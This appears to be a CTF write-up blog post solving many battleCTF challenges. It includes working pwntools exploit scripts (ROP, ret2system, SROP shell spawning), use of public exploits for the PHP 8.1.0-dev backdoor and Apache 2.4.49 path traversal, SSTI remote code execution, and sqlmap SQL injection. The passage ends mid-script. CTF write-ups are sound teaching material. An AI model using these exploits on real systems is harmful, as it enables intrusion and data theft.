Playing Hacks and Stuffs!
BUG|PWN
After joining the discord channel and viewing the announcement
I saw the flag
Flag: battleCTF{WeLoveAfrica}
After downloading the attached file checking the file type shows it is a zip file archive
I tried to unzip it but I got this
With this I know that it will require a password if I try to unzip using 7z
So let us brute force the password
I converted it to a format john can understand using zip2john
The password is samoanpride
Let us unzip it now
It unzipped to form an image file
Checking the image shows the BUG|PWN
logo
Using strings showed me the password and from there I can filter it to get the last line in which the password is
Flag: battleCTF{The_Best_Way_To_Learn}
It gave this string:
onggyrPGS{RaqGvzr_vf_terng}
I used dcoder.fr to identify the type of cipher it is
It says it is ROTed
I then decoded it using this
Flag: battleCTF{EndTime_is_great}
We are given ssh credential to login with
After I logged in using:
ssh battlectf@chall.battlectf.online -p 30000 -oHostKeyAlgorithms=+ssh-dss
I saw this
Seems we are in a restriced environment!!
I ran bash
and it seemed to broke out of it
Still I can’t run commands
After playing with some characters I figured using command injection payloads work quite well
And I got the flag that way
Flag: battleCTF{Agb0d0_J4!L_Awhouangan}
After going to the twitter page of the BUG|PWN organizers I found some hex values
Well those hex values are the messages while the key is the founder’s name RAVEN
I wrote a script to decode it 🙂
#!/usr/bin/env python3
from pwn import xor
import warnings
warnings.filterwarnings('ignore')
cipher = b'\x0e\x39\x60\x77\x12\x2a\x77\x67\x19\x36\x65\x75\x0a\x3d\x79\x66\x1d\x2e\x73\x2d\x0e\x39\x60\x70\x12\x2a\x75\x65\x19\x36\x67\x75\x0a\x3d\x7a\x64\x1d\x2e\x72\x2c\x0e\x39\x62\x77\x12\x2a\x74\x63\x19\x36\x66\x76\x0a\x3d\x79\x31\x1d\x2e\x70\x7e\x0e\x39\x63\x72\x12\x2a\x75\x33\x19\x36\x67\x27\x0a\x3d\x7a\x31\x1d\x2e\x73\x28\x0e\x39\x61\x73\x12\x2a\x77\x63\x19\x36\x65\x72\x0a\x3d\x7b\x34\x1d\x2e\x70\x7b\x0e\x39\x65\x75\x12\x2a\x76\x6e\x19\x36\x61\x71\x0a\x3d\x79\x6a\x1d\x2e\x72\x2a'
key = b'RAVEN'
xored = xor(cipher, key).decode()
print(f'H3X: {xored}')
## LINKS ##
# https://twitter.com/bug_pwn/status/1672272446257340417
# https://twitter.com/w31rdr4v3n
Running it decodes to this
For some reason python bytes.fromhex
doesn’t work on it so I used cyberchef
Flag: battleCTF{BUG|PWN_Loves_U0x0x}
We are given the source and also the web service url
To be honest I didn’t take a look at the source 😃
After going to the web service I saw the header to be this
The user agent header value looks interesting:
PHP/8.1.0-dev
Searching for exploits leads here
Running it works and we are root on the docker container
But the flag isn’t there.
I then used find
command to get the path to where the flag is
And now we can get it’s content
Flag: battleCTF{phP_useragentt_l1kes_wahala_1357f40569024191137a63aa10098f60}
Going over to the web service shows this
Since the text says we should get the source code by going to /?source
let us get it
From the page source we get this:
<?php
require("./flag.php");
if(isset($_GET['source'])){
highlight_file(__FILE__);
}
if(isset($_GET['ami'])){
$input = $_GET['ami'];
$cigar = 'africacradlecivilization';
if (preg_replace("/$cigar/",'',$input) === $cigar) {
africa();
}
}
include("home.html");
?>
We can tell what it does:
ami
is setinput
variableafricacradlecivilization
is set as the cigar variableFrom this we know that we need to make the input value to be africacradlecivilization
in order to get the flag
But the issue is after preg_replace is done it will check that input is it contains africacradlecivilization
and replace it with null values
How do we bypass it?
We can do this:
africaafricacradlecivilizationcradlecivilization
Now after preg replace removes the africacradlecivilization
from that string it then forms africacradlecivilization
Let us get the flag now
Flag: battleCTF{pr3gr4plAcebyp455_0x0x0x0x}
Going over to the web page shows this
Immediately my DogGit
firefox extension showed that there’s an exposed /.git
Going over to /.git
shows that it is indeed there
I’ll use git-dumper
to dump the git repo
Now that is done let us check the commit using git log
I can view the commit a1346a3abab8f97748e5480b61eb6824d4692f44
using git show a1346a3abab8f97748e5480b61eb6824d4692f44
We can see this:
.__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._
It looks like morse code but after decoding it from morse doesn’t give the flag
After trying hours on this I then tried to convert the dots to 0 and underscores to 1
I wrote a script to do that
#!/usr/bin/python
encoded = ".__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._"
decode1 = encoded.replace('.', '0')
decode2 = decode1.replace('_', '1')
print(decode2)
Running it gives this
Using cyberchef to decode it gives the flag
Flag: battleCTF{Unknown_bits_384eea49b417ee2ff5a13fbdcca6f327}
Going over to the web service shows this
The apache version looks interesting
Apache/2.4.49
Searching for exploits leads here
From the source it does a directory transversal by using .%2e
Running the exploit shows it works
Since we want to look for the flag I decided to do it manually
The flag is at /flag.txt
but when I try access it I get 404 error
So here’s what I did
Since we know we can read a direct file /etc/passwd
I can just go back one directory and get the flag /etc/passwd/../flag.txt
Flag: battleCTF{Apache_2.4.49_wahala_26e223dfefdcc5ce214a4b6ad83f5a49}
Going over to the web page shows this
Checking wappalyzer shows it is PHP but is it ?
I confirmed using curl
and it shows it is python werkzeug
Now that the web server language is confirmed let us get to solving it
Checking the page source shows how it excepts the capital to be guessed
<!-- IP?capital=Benin -->
Doing that I noticed this
We can now try SSTI payload since our input value seems to be rendered back
And our payload gets evaluated
Checking the config doesn’t really show any thing interesting
Let us get remote code execution then
I used a payload gotten from PayloadAllTheThings
Flag: battleCTF{wahala_1nj3ction_in_country}
Going over to the web service shows this
Since this is a http-header based sorta web chall let us play with the header from burp
I changed the User-Agent
to africa
and got this
Hmm it’s saying that it isn’t coming from local client
I can use the X-Forwarded-For
header
Now I get that error
We can use the Referer
header for that
Since this is based on the tracking header which is DNT
I’ll set it to 1 and I got the flag
Instead of doing that manually I made a script for it
#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup
url = 'http://chall.battlectf.online:8081/'
headers = {
'User-Agent': 'africa',
'DNT': '1',
'X-Forwarded-For': '127.0.0.1',
'Referer': 'battlectf.online'
}
req = requests.get(url, headers=headers)
reqz = BeautifulSoup(req.text, 'html.parser')
div_tag = reqz.find('div', class_='container')
flag = div_tag.get_text(strip=True)
print(flag)
Going over to the web service shows this
One thing we can try here is sql injection 🙂
I saved the search request to a file
Now we can use sqlmap to get check it
Doing that shows it is vulnerable to UNION query
sql injection
Let us get the database present
So the database is hebiosso
now let us get the tables present
Cool we can now dump the flag table
Flag: battleCTF{Like_based_SQLi_Fu_0af52e4e8696a3dffe7eea367eeb277d}
So this is the revenge for Cobalt Injection 1
Trying the basic ssti payload still works
But when I try the payload used it doesn’t work
Seems they added like a filter of some sort
After playing with it I figured it filters dot and underscores
Looking at this
I got the payload to be used and we can see it worked
I can now get the flag
Note: Since dot is filtered I did 'cat flag\x2etxt'
And here’s the flag
Flag: battleCTF{C0untry_1nj3ct!on_f1!73r_Bypass_534d3d21720fbdb1cc1a58e75e25993a}
Going over to the web page shows this login page
I saved the post request to a file to check for sql injection
And it turned out to be a time based sql injection
Just follow the process I did for Hebiossa Injection
you will get this
Flag: battleCTF{Common_SQLi_Time_558de3659cc32ee7bc9f1745ecd63ae2}
After downloading the attached file I checked the file type and it is an image file
Using binwalk shows there are other jpegs inside the image
I can extract them all
The extracted files are images
The 102 file shows a QRCode
I then used zbarimg
to decode it
Flag: battleCTF{3XP3C71N6_7HUM8N411_70_83 _41W4Y5_83_H1DD3N}
After downloading the attached file shows that it is a wireshark packet file
I opened it up in wireshark and check the protocol hierarchy
We can see some HTTP protocol present in the pcapc file
I can now apply it as filter and follow tcp stream
Stream 3 shows this POST request with some login details
userid=hardawayn&pswrd=UEFwZHNqUlRhZQ%3D%3D
Decoding it gives the password
Flag: battleCTF{PApdsjRTae}
From the details it seems we need to get some values from the file attached
The file attached is an image file
And the details we need are:
Let us use exiftool
to get the image metadata
Now we have the:
How do we get the country and city?
The metadata also gave the GPS Position to be:
6 deg 20' 59.76" N, 2 deg 24' 48.96" E
We can use a gps to location checker for this
And after doing that I got this
Flag: battleCTF{Google_Pixel4XL_back_Benin_Cotonou}
After looking around the platform I found the base64 encoded string here
Decoding it gives the flag
Flag: battleCTF{b4s3_64_4_3nc0d1n9}
Checking the file type of the attached file shows this
It doesn’t recognise it cause the file header is messed up
So I used xxd
to check the hex dump
We can see this NETSCAPE2.0
After doing research I found that it is a GIF file
And in order to fix it we need to append this to the file header 0x47494638
I made a script to do that
#!/usr/bin/python3
buf = open('gift.gif', 'rb').read()
buf = b"\x47\x49\x46\x38" + buf
with open('fix.gif', 'wb') as fd:
fd.write(buf)
Now we can check the file type for fix.gif
Opening it shows some text file
But since it is gif it removes and come back and I can’t note the word
So I used stegsolve to extract the frames
Knowing that I just decoded it
#!/usr/bin/python3
import base64
s='ZmxhZ3tnMWZfb3JfajFmfQ=='
print(base64.b64decode(s))
And got the flag
Flag: battleCTF{g1f_or_j1f}
After downloading the file and unzipping it I got this
Source code is given
From the source code we can see the main function calls the vuln function
And the vuln function is vulnerable to buffer overflow since it uses gets()
to receive our input
void vuln()
{
char buffer[10];
printf("check your identity and read the flag.\n");
gets(buffer);
}
There’s a win function called read_flag()
void read_flag(){
if(!(check_file && african && invite_code && capcha)) {
printf("403|You aren't allowed to read the flag!\n");
exit(1);
}
char flag[65];
FILE * f = fopen("flag.txt","r");
if (f == NULL){
printf("flag.txt doesn't exist, try again on the server\n");
exit(0);
}
fgets( flag, 65, f );
printf("%s\n",flag);
fflush(stdout);
}
But before it works it does a check on the global variables check_file && african && invite_code && capcha
And each of those variables are confirmed from other functions
Like the check_file is set when check_flag function returns true
void check_flag(char* file) {
if(strcmp(file, "flag.txt") == 0) {
check_file = 1;
}
}
african is true when the african function returns true
void check_african() {
african = 1;
}
invite_code is true when the check_invitecode function returns true
void check_invitecode(int code) {
if(code == 0xbae) {
invite_code = 1;
}
}
capcha is true when the check_capcha function returns true
void check_capcha(int login, int auth) {
if(login == 0x062023 && auth == 0xbf1212) {
capcha = 1;
}
}
Since we know there’s a buffer overflow that means we can overwrite the return address EIP
and set it anywhere we like
And in x86 which is the binary architecture arguments are passed from the stack as fun, ret, arg1, arg2… Since the ret address in the next step will confuse the parameter passing, so ret is generally pressed
Now let us get the offset needed to overwrite the instruction pointer and I’ll use gdb-gef for it
The offset is 22
I’ll also need some pop gadgets
Here’s my exploit script
from pwn import *
import warnings
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x80492ce
break *0x8049293
break *0x80492e8
break *0x804930b
break *0x80491c2
continue
'''.format(**locals())
# Binary filename
exe = './rop_black'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# ========================= #
# capcha = 0x804c044
# african = 0x804c03c
# invite_code = 0x804c040
# check_file = 0x804c038
# ========================= #
offset = 22
gadget1 = 0x0804901e # pop ebx; ret;
gadget2 = 0x080493ea # pop edi; pop ebp; ret;
# Build the payload
payload = flat({
offset: [
elf.symbols['check_capcha'],
gadget2,
0x062023,
0xbf1212,
elf.symbols['check_african'],
elf.symbols['check_flag'],
gadget1,
0x804b033,
elf.symbols['check_invitecode'],
gadget1,
0xbae,
elf.sym['read_flag']
]
})
# Send the payload
io.sendline(payload)
io.interactive()
Running it locally works
It also works remotely
Flag: battleCTF{rop_Afr1cA_x_7352adb6a9fd43b762413112a9695fde}
After downloading the attached file and unzipping it shows that the source code is given
Here’s the content
//gcc -o am1 am1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
void print_file(char * file)
{
char buffer[20];
FILE * inputFile = fopen( file, "r" );
if ( inputFile == NULL ) {
printf( "Cannot open file %s\n", file );
exit( -1 );
}
fgets( buffer, 65, inputFile );
printf("Output: %s",buffer);
}
int main(){
puts("Welcome to Africa battleCTF.");
puts("Tell us something about you: ");
char buf[0x30];
gets( buf );
return 0;
}
It’s a small C file and here’s what it does:
Now the aim of what we should do here is that since we know there’s a buffer overflow since gets is used we can overwrite the RIP to call the print_file function then pass in a memory address containing flag.txt
as the argument
But the issue is flag.txt
isn’t in the binary memory and we can’t pass it as a string but rather an address
The way we can go around this is by writing the value of flag.txt
in a writable section of the binary then call the print_file function on that address
Let us get the file type and the protection enabled on the binary
This is a x64 binary which is dynamically linked and not stripped
The only protection enabled is NX (No Execute) which prevents shellcode upload to the stack and the execution of it
Now that we know that let us get a section of the binary which is writable
The .data
section looks like a good candidate for this
Now we need the offset and as usual i’ll use gdb-gef for it
Cool! The offset is 56
For x64 binary the calling convention is passed in via registers
In this case we would need a pop rdi gadget
With that set here’s my exploit script
#!/usr/bin/python3
from pwn import *
import warnings
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './am1'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 56
pop_rdi = 0x000000000040128b # pop rdi; ret;
data = 0x00404048 # .data section
# Build the payload
payload = flat({
offset: [
pop_rdi,
data,
elf.plt['gets'],
pop_rdi,
data,
elf.symbols['print_file']
]
})
io.sendline(payload)
io.interactive()
Running it works locally and also remotely
So basically what I did was to use gets() to receive our input which will then be stored in the .data section and i can then call the print_file function with the .data section as the parameter 🙂
Flag: battleCTF{Africa_1d3al_r0p_e70bee3af3e2b1430d8dc7863a33790d}
After downloading the attached file and unzipping it I got the source code and the binary
// gcc -o youpi youpi.c
#include <stdio.h>
#include <stdlib.h>
int check = 0;
void youpiii(){
if(check){
char buffer[20];
FILE * inputFile = fopen("flag.txt", "r" );
if ( inputFile == NULL ) {
printf( "Cannot open file flag.txt\n" );
exit( -1 );
}
fgets( buffer, 65, inputFile );
printf("FLAG: %s",buffer);
}
}
void main(){
puts("Welcome to Africa battleCTF.");
puts("Tell us about your country: ");
char buf[0x30];
gets( buf );
}
From the source code we can see what it does:
Since we can overwrite the RIP we can make the program to anywhere in the binary and therefore being able to skip the if check
So if we are to jump to this function we need to jump to youpiii+18
Let us get the offset
The offset is 56 but now the issue is that we need to make the base pointer a known address since jumping to youpiii+18
will make the rbp messed up
I just used the .data section
With that set here’s my solve script
#!/usr/bin/python3
from pwn import *
import warnings
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x0000000000401188
continue
'''.format(**locals())
# Binary filename
exe = './youpi'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 48
data = 0x00404030 # .data section
# Build the payload
payload = flat({
offset: [
data,
0x0000000000401188
]
})
io.sendline(payload)
io.interactive()
Running it remotely works
Flag: battleCTF{Right_jump_860332b9b9c47839ec975f0ecb32a51e}
After downloading the attached file and unzipping it I got the binary
Let us check the file type and the protection enabled on it
It’s a x64 binary which is dynamically linked and not stripped and the only protection enabled on it is NX (No-Execute)
Since the source code isn’t given i’ll decompile it using IDA
Here’s the main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[48]; // [rsp+0h] [rbp-30h] BYREF
system("echo 'Welcome to Africa battleCTF.\nTell us something about : '");
gets(v4, argv);
return 0;
}
We can see that it uses system
to print some text and then use gets() to receive our input
So we have a buffer overflow here
Also the issue is that since system is used and system is called from the global offset table (GOT) we won’t need to calculate the libc base address therefore we can call system directly 🙂
Let us get the offset needed to overwrite the RIP
The offset is 56
But now we know that we can call system but we can’t directly use a string as it’s parameter but instead a memory address
So we can get a writable section of the binary preferably .data
and put /bin/sh
into it therefore ropping to system()
I used rabin2 to get the .data section address
Also we would need a pop rdi gadget since x64 argument are passed in via registers
Now that it is settled here’s what I’ll do:
Here’s my exploit script
#!/usr/bin/python3
from pwn import *
import warnings
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './axovi'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 56
data = 0x000000000404028 # data section
pop_rdi = 0x00000000004011bb # pop rdi; ret;
payload = flat({
offset: [
pop_rdi,
data,
elf.plt['gets'],
pop_rdi,
data,
elf.plt['system']
]
})
io.sendline(payload)
io.interactive()
Running it works locally
And it works remotely also
Flag: battleCTF{ROP_sw33t_R0P}
After downloading the attached file and unzipping it I got the source code and the make file
Checking the source code shows this
#include <stdio.h>
#include <unistd.h>
int main(){
long pass;
puts("Welcome to battleCTF Event portal.");
printf("Enter you invite code to participe:");
scanf("%s",&pass);
if(pass * 0x726176656e70776eu == 0x407045989b3284aeu){
execl("/bin/sh", "sh", 0);
}
else
puts("\nWrong password ..!");
return 0;
}
We can see after it prints out some text it then receives our input using scanf without specifying the amoung of data to read in (doesn’t matter in this even though it’s a buffer overflow)
It then compares the result formed from multilying our input with 0x726176656e70776eu
to 0x407045989b3284aeu
If it returns true it spawns a shell
We can try to decode that value and try to get it’s inverse but it isn’t possible
So I used z3 which is a powerful framework for solving problems
This helped me with it
Here’s the script
#!/usr/bin/python3
from z3 import *
s = Solver()
x = BitVec("0", 64)
s.add(((x * 0x726176656e70776e) & 0xffffffffffffffff) == 0x407045989b3284ae)
if s.check() == sat:
solution = s.model()
solution = hex(int(str(solution[x])))
solution = solution[2:]
value = ""
i = int(len(solution) / 2)
while i > 0:
i -= 1
y = solution[(i*2):(i*2) + 2]
value += chr(int("0x" + y, 16))
print("Value: " + value)
else:
print("Error")
Running it gives anniepwn
➜ eventportal python3 solve.py
Value: anniepwn
➜ eventportal
Now I can connect to the remove instance and give that as the value
Flag: battleCTF{N3w_1nteg3r_0v3rfl0w_bb4a0612f6b3ad0d04223e022687600c}
After downloading the file attached and unzipping it I got the binary but no source code
Let us check the file type and the protections enabled on it
We are working with a x64 binary which is dynamically linked, not stripped and the only protections enabled on it is NX
I decompiled it using ghidra and here’s the main function
int main(void)
{
char buf [48];
puts("Africa battle CTF 2023");
puts("Tell us about your ethnicity:");
gets(buf);
return 0;
}
We see there’s a buffer overflow cause gets() is used and there’s also another function called hausa
Here’s it decompiled code
undefined8 hausa(void)
{
return 0xf;
}
It returns 0xf which is an essential assembly instruction needed for performing Sigreturn Oriented Programming (SROP)
In the hood it does
Which is basically:
Since our exploitation technique will be SROP I need to search if there’s /bin/sh in the binary
And luckily there was
How will I take advantage of this?
First we need to know what syscall is
And how do we trigger a syscall
A notable syscall is the execve syscall, which executes the program passed to it in RDI. RSI and RDX hold arvp and envp respectively.
This means, if there is no system() function, we can use execve to call /bin/sh instead - all we have to do is pass in a pointer to /bin/sh to RDI, and populate RSI and RDX with 0 (this is because both argv and envp need to be NULL to pop a shell).
And luckily pwntool can allow us interact with sigreturn
Here’s my exploit script
#!/usr/bin/python
from pwn import *
import warnings
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './0xf'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
warnings.filterwarnings("ignore", category=BytesWarning, message="Text is not bytes; assuming ASCII, no guarantees.")
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 56
rax_0xf = 0x000000000040113a # mov eax, 0xf; ret;
syscall = 0x0000000000401140 # syscall; ret;
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = 0x402004 # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = syscall
# Build the payload
payload = flat({
offset: [
rax_0xf,
syscall,
frame
]
})
io.sendline(payload)
# Got Shell?
io.interactive()
Running it gives me shell locally
It also works remotely
Flag: battleCTF{Ethnicity_SigROP_Syscall_Army_f0d9e29e9c1d03c996083bb9c3325d33}
After downloading the binary running strings on it gave me the flag
Flag: battleCTF{The_path_to_light}
After downloading the binary I checked the file type
From the result we can see it’s a statically linked binary
Running it just shows some text
Opening it up in gdb-gef and disassemblying the _start function shows this
From there we can see it does a simple calculation
I just did the same thing but with python here’s the script
#!/usr/bin/python3
a = 0x522d1b20f6
b = a + 0x1ee2eeee
c = b ^ 0xaa84aaa
print(bytes.fromhex(hex(c)[2:]))
Running it gives:
So here’s how I came about it
From the assembly instruction it does
0x0000000000401000 <+0>: movabs rbx,0x522d1b20f6
0x000000000040100a <+10>: mov rax,rbx
0x000000000040100d <+13>: add rax,0x1ee2eeee
0x0000000000401013 <+19>: nop
0x0000000000401014 <+20>: xor rax,0xaa84aaa
And what that does is:
0x522d1b20f6
to the rbx0x1ee2eeee
to the rax0xaa84aaa
Flag: battleCTF{RAVEN}
After downloading the binary I checked the file type
We are working with x64 binary which is dynamically linked and not stripped
When I tried running it I got seg fault
I opened it up in gdb then saw this
Disassemblying it gives this
Looking at that we can see some push instruction which will cause the stack to be unstable causing the seg fault
I took those values out and on decoding it I got this
After some minutes on looking at it I got the right flag from it
Flag: battleCTF{Beyond_Our_Galaxie}
After downloading the file I checked the file type
We are working with a x64 binary which is dynamically linked and not stripped
I ran the binary and it showed this
I decompiled it using IDA and here’s the main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[112]; // [rsp+0h] [rbp-70h] BYREF
puts("Welcome to battleCTF invite code verification portal.");
printf("Enter your invite code to verify: ");
fgets(s, 100, stdin);
encrypt(s, 15LL);
if ( !strcmp(s, _TMC_END__) )
puts("Valid code... !");
else
puts("Invalid code...!");
return 0;
}
We can see what it does:
Here’s the value of _TMC_END__:
qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}
I didn’t take a look at the encrypt function since I saw strcmp is used 🙂
We can cheat our way around here 😜
I opened up gdb-pwngdb and set a breakpoint at the strcmp call with abcdefghijklmnopqrstuvwxyz
as my input
Now you can see the strcmp call on our encrypted input with the flag compared value
Since we know our input will be turned to: pqrstuvwxyzabcdefghijklmno
and it’s compared against qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}
I can match it to get the right input:
a b c d e f g h i j k l m n o p q r s t u v w x y z
p q r s t u v w x y z a b c d e f g h i j k l m n o
After doing that I got the flag
Flag: battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}
I checked the file type
We are working with a x64 binary which is dynamically linked and it’s stripped
On running shows the invite code prompt as the previous one
Decompiling it in IDA here’s the main function
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[112]; // [rsp+0h] [rbp-70h] BYREF
puts("Welcome to battleCTF invite code verification portal.");
printf("Enter your invite code to verify: ");
fgets(s, 100, stdin);
sub_1179(s);
if ( !strcmp(s, s2) )
puts("Valid code... !");
else
puts("Invalid code...!");
return 0LL;
}
It uses strcmp again !! Very good
I’ll cheat my way around here again
Following the way I solved the previous one you should get this
a b c d e f g h i j k l m n o p q r s t u v w x y z
f g h i j k l m n o p q r s t u v w x y z a b c d e
expected = gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}
From there we can map the char of the flag to be:
Flag: battleCTF{Agb4_y0u_d3y_sm0k3_1gb0?}
After downloading the binary and checking the file type I got this
We are working with a x64 binary which is dynamically linked and not stripped
Running it gives a seg fault
I opened it up in gdb-gef and saw a Flag function which i then disassembled
There’s also this
We can reverse that
I made a script to reverse it
#!/usr/bin/python3
key = 0x41ef12
flag = []
val1 = 0x62209b66
flag.append(bytes.fromhex(hex(val1 ^ key)[2:]))
val2 = 0x6c24ac46
flag.append(bytes.fromhex(hex(val2 ^ key)[2:]))
val3 = 0x463abc23
flag.append(bytes.fromhex(hex(val3 ^ key)[2:]))
val4 = 0x6d318377
flag.append(bytes.fromhex(hex(val4 ^ key)[2:]))
val5 = 0x5f0c8064
flag.append(bytes.fromhex(hex(val5 ^ key)[2:]))
val6 = 0x492fbc7a
flag.append(bytes.fromhex(hex(val6 ^ key)[2:]))
val7 = 0x652d836f
flag.append(bytes.fromhex(hex(val7 ^ key)[2:]))
print(b''.join(flag))
Running it gives the flag
Flag: battleCTF{S1mple_MovInShell}
We are given this image file
I searched it up and found it to be Hieroglyphs
After searching for a decoder I found this
Using it I decoded the image to be AFRICAFAMILY
So the flag is:
Flag: battleCTF{AFRICAFAMILY}
Checking the file content shows this
&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz<fx&?hE]PTrZKKk=*:&?hE]PT:0OQt?&1&?j0APQB/jG5SD3&?hE]PT:0OO-lrH&?i*vPR*.wM/sWz&?g[.PN#f@G5SC^&?i*vPN#f@O-lrp&?i:tPQjVhRq!e8&?i:tPN#f@WbN:H&?i2]
Using cyberchef magic decoded it to be this
It decoded to this:
⠃⠁⠞⠞⠇⠑⠉⠞⠋{⠺⠓⠽⠸⠙⠴⠝⠶⠸⠦⠂⠂⠝⠙⠸⠏⠒⠴⠏⠂⠒⠸⠢⠅⠽⠙⠂⠧⠒⠸⠝⠴⠸⠦⠗⠲⠂⠂⠂⠒⠸⠂⠝⠢⠶⠗⠥⠉⠶⠂⠴⠝⠢}
That’s Braille cipher and cyberchef decoded it to get the flag
Flag: BATTLECTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}
Looking at the script given shows this
import random
flag = 'battleCTF{******}'
a = random.randint(4,9999999999)
b = random.randint(4,9999999999)
c = random.randint(4,9999999999)
d = random.randint(4,9999999999)
e = random.randint(4,9999999999)
enc = []
for x in flag:
res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)
enc.append(res)
print(enc)
#Output: [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]
From looking at the given script I figured that maybe to solve it the inverse will be calculated with gaussian elimination
But this would work faster too
from sage.all import *
var('a', 'b', 'c', 'd', 'e')
solution = solve([1245115057305148164 == 2*a*98**4 + b*98**3 + c*98**2+d*98+e,
1835524676869638124 == 2*a*108**4 + b*108**3 + c*108**2+d*108+e,
1195140205147730541 == 2*a*97**4 + b*97**3 + c*97**2+d*97+e,
2441940832124642988 == 2*a*116**4 + b*116**3 + c*116**2+d*116+e,
